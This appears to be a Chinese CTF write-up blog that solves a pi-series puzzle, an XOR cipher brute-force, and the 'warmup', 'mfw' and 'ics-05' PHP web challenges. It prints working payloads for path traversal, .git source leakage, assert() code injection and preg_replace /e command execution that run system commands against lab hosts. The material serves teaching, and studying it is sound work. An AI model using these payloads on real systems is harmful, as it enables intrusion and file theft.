cat‘s gift

题目描述:于礼物不好拿,所以猫猫把礼物平均分成了四份,但是其中一份不小心掉在地上散落成了无数片,变成了 1 - 1/3 + 1/5 - 1/7 + …

题目分析:提示莱布尼茨公式,平均分成四份,告诉了一份的内容,写代码把它无限逼近乘上4,就大概还原了。

代码:

1
2
3
4
5
6
7
8
9
def pi(n):
s = 0
for i in range(n):
s+=(-1)**i*1/(2*i+1)
return 4*s

print(pi(1000000))
#3.1415916535897743
#CatCTF{pie}

xor 很心疼你

题目描述:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# Python3
from secret import flag
import random
import base64

pool = 'qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM'
r = random.randint(2, 250)
assert flag.startswith('hsctf{')


def generate(length):
return ''.join(random.choices(pool, k=length))


def f(x):
random.seed(x)
return random.getrandbits(8)


def encrypt(plaintext, key):
plaintext = list(map(ord, plaintext))
for _ in range(20):
key = f(key)
assert key != 0
for i in range(len(plaintext)):
key = f(key)
tmp = (key * r) % 251
assert tmp != 0 and key != 0
plaintext[i] = plaintext[i] ^ tmp
plaintext = bytes(plaintext)
return base64.b64encode(plaintext)


m = generate(random.randint(200, 300)) + flag + generate(random.randint(200, 300))
c = encrypt(m, random.getrandbits(128))
print(c)
# b'8OcTbAfL6/kOMQnC9v8SNmmSzvQMeGTT8vANM1T+7vIce2fo0fc2RnScrNxTSmeSyuMjMF//w8BWaXX91dsGcnvmreg0NQTw96ceVVXj3sQ3Znn51OU1S0bOyaMtNHTj36AcWFqewN4zRUXD6agGbAPE+tQtd3XG0doAa1Ll9fhcQ1zk0McTM1bv8PIQOAnn3vQ3UgLD3PsONXLs4KkXMnjTyMEQOFn/0uYVUwOY1PsleEHCyNopRVDr+Kc0e2PH9v0XNXfprfIPU3nw7KYTNX/G7twLSkHoyaUlQHXi3v02UHmdy/4iNgme3Pc8bgPp+tYWV1+YzPkXYkXM4ulUc27DrM4SNUPT2fQlckj1qP4Fal+YoPYJMlyZ8qhXfF3Y0tUDdUXl3vg0dFTi++VVOFfH/dgMS1ru9N8WU0HF9cUCTgPe+qVdSn/u7Mkda0GTw/QDcWPZ9KYGN2jSzfk0OVrMzt0yRHD64KMrUgPF2sFWcmP56KZSTAD61PUGeXrd49MgU1bL8OsVNWj91vIsalXwqf0qaWbwzv0lWETA4eElS3L99cYmU1nv9dRQTWbDyclScQTN6NIhV2j//+ZWbH7Z68kwM3Dy4dcUc1PQy8kRTl/4zcU9WGWfoakOMXuf69MXZQTEz+kJT1Dar8UN'

题目解析:用flag的头b”hsctf{“ 爆破key和r和pos ,然后反过来异或即可;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# Python3
# from secret import flag
import random
import base64

# pool = 'qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM'
# # r = random.randint(2, 250)
# # assert flag.startswith('hsctf{')
#
#
# def generate(length):
# return ''.join(random.choices(pool, k=length))
#
#
def f(x):
random.seed(x)
return random.getrandbits(8)
#
#
def encrypt(plaintext, key):
plaintext = list(map(ord, plaintext))
for i in range(len(plaintext)):
key = f(key)
tmp = (key * r) % 251
plaintext[i] = plaintext[i] ^ tmp
plaintext = bytes(plaintext)
return plaintext



c=b'8OcTbAfL6/kOMQnC9v8SNmmSzvQMeGTT8vANM1T+7vIce2fo0fc2RnScrNxTSmeSyuMjMF//w8BWaXX91dsGcnvmreg0NQTw96ceVVXj3sQ3Znn51OU1S0bOyaMtNHTj36AcWFqewN4zRUXD6agGbAPE+tQtd3XG0doAa1Ll9fhcQ1zk0McTM1bv8PIQOAnn3vQ3UgLD3PsONXLs4KkXMnjTyMEQOFn/0uYVUwOY1PsleEHCyNopRVDr+Kc0e2PH9v0XNXfprfIPU3nw7KYTNX/G7twLSkHoyaUlQHXi3v02UHmdy/4iNgme3Pc8bgPp+tYWV1+YzPkXYkXM4ulUc27DrM4SNUPT2fQlckj1qP4Fal+YoPYJMlyZ8qhXfF3Y0tUDdUXl3vg0dFTi++VVOFfH/dgMS1ru9N8WU0HF9cUCTgPe+qVdSn/u7Mkda0GTw/QDcWPZ9KYGN2jSzfk0OVrMzt0yRHD64KMrUgPF2sFWcmP56KZSTAD61PUGeXrd49MgU1bL8OsVNWj91vIsalXwqf0qaWbwzv0lWETA4eElS3L99cYmU1nv9dRQTWbDyclScQTN6NIhV2j//+ZWbH7Z68kwM3Dy4dcUc1PQy8kRTl/4zcU9WGWfoakOMXuf69MXZQTEz+kJT1Dar8UN'
c=base64.b64decode(c)

flag="hsctf{"
# for r in range(2,256):
# for key in range(1,256):
# cc=encrypt(flag,key)
# if cc in c:
# print(key)
# print(r)

key=34
r=187

def decrypt(ciphertext, key):
ciphertext=list(ciphertext)
for i in range(len(ciphertext)):
key = f(key)
tmp = (key * r) % 251
#assert tmp != 0 and key != 0
ciphertext[i] = ciphertext[i] ^ tmp
ciphertext = bytes(ciphertext)
return ciphertext
mm=print(decrypt(c[247:],key))

warmup

进入source.php 查看源码(代码审计)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}

先介绍两个函数:mb_strpos mb_substr

mb_strpos:查找字符串在另一字符串中第一次出现的位置(区分大小写)

mb_strpos(string,find,start)

string ->(必需)规定被搜索的字符串。

find ->(必需)规定要查找的字符。

start ->(可选)规定开始搜索的位置。

例如:

1
2
3
4
<?php
echo strpos("I love php, I love php too!","php");
?>
//输出:7

mb_substr:截取函数

mb_substr( str, start, length, encoding )

str ->需要截断的字符串

start ->截断开始处,起始处为0
length ->要截取的字数
encoding ->网页编码,如utf-8,GB2312,GBK

例如:

1
2
3
4
5
<?php
$str='你好世界,fhdsjhfjksdkj';
echo mb_substr($str,0,4,'utf-8');//截取头5个字,假定此代码所在php文件的编码为utf-8
?>
//输出: 你好世界

代码解析:对file参数进行传入,检查是否为空,检查是否为字符串,截取字符串,检查是否包含白名单。

尝试:http://61.147.171.105:54988/source.php?file=hint.php

成功回显

构造pyload http://61.147.171.105:54988/source.php?file=hint.php?/../../../../ffffllllaaaagggg

mfw

image-20240412220551333

扫描目录 7kbscan 扫描到 /.git源码泄露

使用python模块GitHack.py 提取源码

1
python GitHack.py --url http://61.147.171.105:59201/.git 

发现文件

image-20240412222247602

我们查看flag.php

1
2
3
4
<?php
// TODO
// $FLAG = '';
?>

找其他的php文件找线索

index.php 有代码部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
1
2
3
4
5
6
7
8
9
10
11
assert()函数其实是一个断言函数。

assert:

  这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;

        assert ( mixed $assertion [, string $description ] ) : bool

  如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

strpos() 函数查找字符串在另一字符串中第一次出现的位置,如果没有找到则返回flase,如果用strpos来判断字符串中是否存在某个字符时必须使用===false

所以我们要构造payload 闭合strpos函数,使得其报错,从而执行后后面的代码

根据代码分析;使用?page=’);//

带入代码:

1
2
3
4
assert("strpos('templates/');//, '..') === false")
//在php中是注释,所以注释了 , '..') === false" 的代码部分
strpos('template/')将会报错,所以我们在其后面插入代码
则为: assert("strpos('templates/') or system('cat ./templates/flag.php');//, '..') === false")

F12查看flag:cyberpeace{4f0d0eda6c51799ee26c266f1b618272}

ics-05

1、先讲preg_replace函数的bug

参数 作用
pattern 正则表达式或者要匹配的内容
replacement 要替换的内容
subject 要操作的对象

举例:

1
2
3
4
5
6
<?php
$num = '4';
$string = "This string has four words.";
$string = preg_replace('/four/',$num, $string);
echo $string; #This string has 4 words.
?>

bug->

1
2
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。
提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

2、解题思路:

打开靶场发现只有设备维护可以点进去,目录扫描也没有什么发现。

F12检查网络发现一个怕个page参数

image-20240418221211514

我么尝试对page进行传参

image-20240418221332476

传入什么就显示什么,尝试伪协议查看页面后端源代码

image-20240418221536303

base64解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
<?php
error_reporting(0);

@session_start();
posix_setuid(1000);


?>
<!DOCTYPE HTML>
<html>

<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>设备维护中心</title>
<meta charset="utf-8">
</head>

<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>设备列表</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- 这里的 checked 的状态只是演示 -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;

table.render({
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
{ type: 'numbers' },
{ type: 'checkbox' },
{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
{ field: 'name', title: '设备名', templet: '#nameTpl' },
{ field: 'area', title: '区域' },
{ field: 'status', title: '维护状态', minWidth: 120, sort: true },
{ field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
]
],
page: true
});
});
</script>
<script>
layui.use('element', function() {
var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
//监听导航点击
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
});
});
</script>

<?php

$page = $_GET[page];

if (isset($page)) {



if (ctype_alnum($page)) {
?>

<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />

<?php

}else{

?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php

if (strpos($page, 'input') > 0) {
die();
}

if (strpos($page, 'ta:text') > 0) {
die();
}

if (strpos($page, 'text') > 0) {
die();
}

if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />

<?php
}}


//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}

}





?>

</body>

</html>

源代码对page的内容进行了过滤,因此不能用伪协议写入代码

看到内部人员测试代码,根据前面说的preg_replace()函数的bug

所以构造pyload

1
http://61.147.171.105:61424/index.php?pat=/nihao/e&rep=system("ls")&sub=nihao

爆出文件

image-20240418222025366

找flag

1
http://61.147.171.105:61424/index.php?pat=/nihao/e&rep=system("find -name flag*")&sub=nihao

image-20240418222207231

得到flag

1
http://61.147.171.105:61424/index.php?pat=/nihao/e&rep=system(""tac ./s3chahahaDir/flag/flag.php")&sub=nihao

bug

题目是一个登录框,有注册窗口,有验证窗口